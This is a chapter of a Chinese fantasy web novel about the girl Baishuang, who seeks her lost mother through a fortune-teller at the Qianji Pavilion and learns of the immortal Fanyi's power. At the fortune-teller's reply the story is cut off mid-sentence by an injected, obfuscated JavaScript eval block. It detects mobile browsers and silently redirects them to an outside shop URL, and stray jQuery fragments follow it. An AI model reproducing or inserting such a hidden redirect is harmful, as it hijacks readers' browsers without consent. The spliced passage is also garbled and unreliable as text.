残阳衔山,霞光满谷。
白霜寻了处草地躺下,嘴里叼着根草茎,将那床宝贝被子盖在肚皮上。
寻娘之事,渺无头绪,她也不知该往何处去。
“咕……”
腹中空鸣两声,她自包袱里摸出在镇上买的吃食,如今已所剩无几,不免忧心忡忡。
那仙君的银子虽不算少,可终有用尽之日,届时若还是寻不到娘亲,她又该何去何从?
白霜坐起身,抓起荷叶鸡,正欲大嚼,身后草丛却传来一阵窸窣之声。
紧接着,一声兽吼。
“嗷——”
手里的荷叶鸡“啪”地掉在地上。
白霜梗着脖子,一点点回头,正对上一只硕大的雄狮。那狮子的爪子比她脑袋还大,眼睛直勾勾盯着地上的鸡,口水顺着嘴角滴滴答答。
这狮子……瞧着有点眼熟?
她念头刚起,那雄狮已猛扑上来,一口将地上的荷叶鸡吞入腹中,而后抬起头,斜着眼打量她。
白霜竟觉着,这狮子看她的眼神,颇有几分像人。
雄狮喉中发出低吼,四肢蓄力,作势欲扑。
白霜吓得魂飞魄散,尖叫一声。
电光石火间,她衣襟里那枚银戒自行飞出,霎时银光大作,凝作一只无形大手,照着那狮子面门便是一掌。
“啪!”
一声脆响。
雄狮被这记响亮的耳光抽飞了数丈远,四脚朝天摔在地上,晕头转向地晃了晃脑袋,发出一阵呜咽,夹着尾巴,一溜烟跑得无影无踪。
白霜惊得嘴巴都合不拢。
那银戒悠悠飘至她面前,其上镶嵌的蓝宝石灵光流转,散出一股空灵澄澈之气。
她呆了半晌,忽地心中一喜。
好宝贝!
亏她还觉得那仙君寒酸,原来真正的好东西在这儿。
她一把抓住银戒,揣进怀里捂好。到了她手上的,那便是她的了。
天色尽墨,山中起了大雾。
此地不宜久留。
白霜收拾好行囊,往山林深处行去。雾气愈发浓重,不过片刻,身后的路便已隐没不见。她别无他法,只得硬着头皮往前走。
也不知走了多久,前方雾霭之中,隐约现出一座破败高楼的轮廓。
愈行愈近,牌匾上三个大字依稀可辨:千机阁。
楼前立着一只石狮,爪子亦有她脑袋大小。本该是左右一对,如今只余左边这只孤零零守着。
白霜凑近了细看,这石狮子与寻常镇宅的威风模样不同,竟是一副愁眉苦脸的模样,好似受了天大的委屈。虽仍张着嘴作咆哮状,口中的石球却掉在地上。
她心里觉得好笑,弯腰捡起石球,踮起脚尖,费劲地给它塞了回去。
完事后,她煞有介事地拍了拍石狮子的屁股。
“不必谢我。”
言罢,迈着轻快的步子,推门走进了千机阁。
她身后,石狮子嘴一张。
石球又滚了出来。
白霜踏入楼中,四下打量。阁内陈设虽有些古怪,倒也齐整,只是瞧不见人影。
一楼立着一道石碑,上书两行字:
万象森罗参透尽,
乾坤不过掌中纹。
她寻着楼梯往上走去。
此时,楼阁深处一间暗室中,一名鬓发灰白的黑袍男子,正拿着凿子,对着桌上一方罗盘敲敲打打。
“阁主。”
一名少年推门而入。
“外头传来了两个消息,一个好的,一个坏的。”
黑袍男子头也不抬:“何事为好?”
少年答道:“听说,溟渊的封印有异动。”
“此事我已知晓,”黑袍男子依旧修着罗盘,“魂盘早有示警。坏消息呢?”
“门口那只看门的狮子,跑了。”
“为何要跑?”
“说是看门辛苦,一日三餐,只得两顿,不干了。”
“……”
白霜将耳朵贴在门上,听得云里雾里。里头说了几句便没了声响,她正纳闷,门却“吱呀”一声从里头被拉开了。
她收势不及,“噗通”一声栽了进去,摔了个结结实实的狗啃泥。
“小丫头,既来了,便进来吧。在外头偷听,可不是什么好习惯。”
一道苍老的声音传来。
白霜爬起身,跺了跺脚,拍掉身上的灰尘,这才走进房中。
黑袍人抬手,示意她坐下。
白霜也不客气,在他对面坐了,两人大眼瞪小眼。
还是黑袍人先开了口:“小友瞧着面善,深夜来我这千机阁,所求何事?”
“我……我迷路了,误打误撞进来的。”白霜眼珠一转,指了指楼下,“我看你楼下石碑上写着什么参透乾坤,想来是个厉害人物。”
黑袍人闻言,抚须一笑:“哈哈,小友谬赞。老夫不过是粗通些占星卜卦的皮毛,于这六界之事,略知一二罢了。”
白霜眼睛一亮:“那你能帮我算一卦么?算算我娘在何处。”
“可。”黑袍人伸出一根手指,“一卦,十两银子。”
“啊?这么贵!”白霜叫出声。
“小友你看,我这千机阁门庭冷落,鲜有客至,老夫也是要过活的。”黑袍人叹了口气,“手下还有个伙计,等着支领月钱。”
一旁站着的少年连连点头。
白霜心里犯嘀咕,这两人瞧着不像什么高人,倒像是江湖骗子。
她摸了摸包袱里的银子,那是她全部的家当了。犹豫再三,终是寻母心切,她一咬牙,数出十两银子拍在桌上。
少年一见白花花的银子,眼睛都直了,嘴角不自觉咧开。
黑袍人收了银子,从柜中取出一张非纸非帛的物事:“将你母亲的生辰八字,与最后出现之地,写于其上。”
白霜依言提笔写下。
墨迹刚落,纸上的字迹竟如活物般缓缓扭动起来。她吓了一跳,忙把那怪纸扔在桌上。
黑袍人拾起时,纸上黑字已化作一串白霜看不懂的古怪冥文。
他只看了一眼,便掐指推算起来。
忽然,他面色陡变,拿着那张纸的手微微颤抖。
“啪嗒。”
纸张落在了桌上。
他那双布满皱纹的眼睛死死盯着白霜。
一旁的少年见阁主神情有异,也好奇地拿起那张“搜魂纸”,学着阁主的样子推算起来。
“你母亲……闺名可是溪露?”黑袍人声音有些发紧。
“我娘叫白露。”白霜被他看得心里发毛,“老伯,你到底算没算到我娘在哪儿?”
黑袍人却不答话,反而抓起桌上的罗盘,又一把拉过白霜的手,以指甲划破她的指尖,将一滴血珠滴在罗盘之上。
嗡——
罗盘针疯狂转动,盘面之上,血光大盛。
与此同时,那少年也推算完毕,他猛地将纸一丢,冲上前来抓住白霜的肩膀,神情激动,“你……你竟是……”
他话未出口,上下嘴唇却像是被无形之力粘住,再也张不开,“唔唔……唔!”
少年急得满脸通红,指着白霜,望向阁主。
“我知道了。”黑袍人难掩喜色。
白霜看着眼前这一老一小,一个神神叨叨,一个上蹿下跳,心里愈发觉得不对劲。
这哪是什么高人,分明是合起伙来骗她银子的。
她瞥了眼敞开的窗户,外头的雾气不知何时散了些,月光漏了进来。
“到底算没算到我娘在哪?”白霜没了耐心,“给个准话。”
“搜魂纸上,并未显现你母亲如今的所在。”黑袍人慢悠悠地说。
“那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17892692|212787||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你就是骗我!”白霜一听就炸了,伸手就要去捞桌上的银子,“还我钱!”
黑袍人动作比她还快,袖子一卷,十两银子便不见了踪影。他嘿嘿一笑:“小友莫急,老夫话还没说完。”
“你娘虽不知所踪,却并无性命之忧。只是要想找到她,得费些功夫。”
白霜动作一顿。
她盯着黑袍人:“我要怎么做?”
“破开她身上的禁制,你自然就能见到她。”
“用什么破?”
“水月溯影。”
白霜皱眉:“那是什么东西?”
“仙界,梵羿仙君的本源神力。”
梵羿?
白霜脑中嗡的一声。
又是那个寒酸仙君。
黑袍人见她一脸状况外的模样,便多解释了几句:“梵羿仙君乃天地间第一缕水之精魄所化,他的本源神力‘水月溯影’,可以撕裂时空,去到任何你想去的地方。也只有此物,能破开你母亲身上的禁制。”
白霜心里乱糟糟的,一时不知该信还是不该信。
她魂不守舍地站起身,往外走去。
“老夫言尽于此,”黑袍人的声音从身后传来,“小丫头,你记着,这是你与母亲团聚的唯一法子。”
白霜出了千机阁。
楼外的石狮子依旧一副哭丧脸,嘴里的石球又滚到了地上。
她走过去,弯腰捡起石球,踮起脚,重新塞回狮子嘴里。
想了想,又觉得不解气,对着狮子圆滚滚的屁股用力拍了好几下,这才磨磨蹭蹭地离开了。
在她走远后,石狮子嘴一张,石球又滚了出来。
……
仙界,坠月宫。
铮铮琴声如流水,自月下仙人指尖淌出。
梵羿背月而坐。
虚空中一道青影踏云而来,斜斜靠在一旁的云柱上。来人一身青衣,手上把玩着一块玉牌,满脸都是不正经的笑意。
一曲终了,梵羿停下拨弦的手。
青承走上前,将玉牌往琴桌上一放,盘腿坐下,笑道:“梵羿,你也有丢三落四的时候。”
“一时疏忽。”梵羿的声音清清冷冷。
“呵,一时疏忽?”青承挑眉,“这可不像你。说吧,在下界碰上什么事了,能让你把通行玉牌都给弄丢了?”
梵羿没说话。
“让我猜猜,”青承凑近了些,压低声音,“可是碰上什么人了?”
梵羿依旧不语,端起茶杯,自顾自饮茶。
青承见好友嘴巴严实。
他面上装作不在意:“不说便罢了。”
他自己也倒了杯茶,喝了两口,又开口道:“此次魔蛇为祸人间,牵扯了不少妖族。天帝的意思,是严加镇压魔物的同时,也要制约妖族。啧,看来妖族的日子又要不好过了。”
“啪。”
梵羿手中的玉杯重重搁在桌上,清脆的声响让青承停下了话头。
青承叹了口气:“我知道你看不惯天帝的做法。可五百年前的事你又不是不知道,部分妖族私下与魔族勾结,险些酿成大祸。天帝管得严些,也是为六界安宁着想。”
梵羿没有理会友人,起身踱步至望月台。
仙界的月亮,永远都是一轮圆月,浩渺,寒凉,亘古不变。
不像人间的月,有阴晴圆缺,承载着思念与团圆。
梵羿凝望着那轮孤月,头一次觉得这清辉有些刺眼。
他想起下界那些被关在笼中的小妖,想起同行的仙官脸上毫不掩饰的鄙夷,也想起那个一见到他就跑得飞快的小丫头。
脏兮兮的,瘦瘦小小的,背着个不合身的包袱,眼睛却很亮。
那个年纪的孩子,本该待在母亲身边。
不知她现在怎么样了,有没有再被人抓住。
希望她能安然无恙。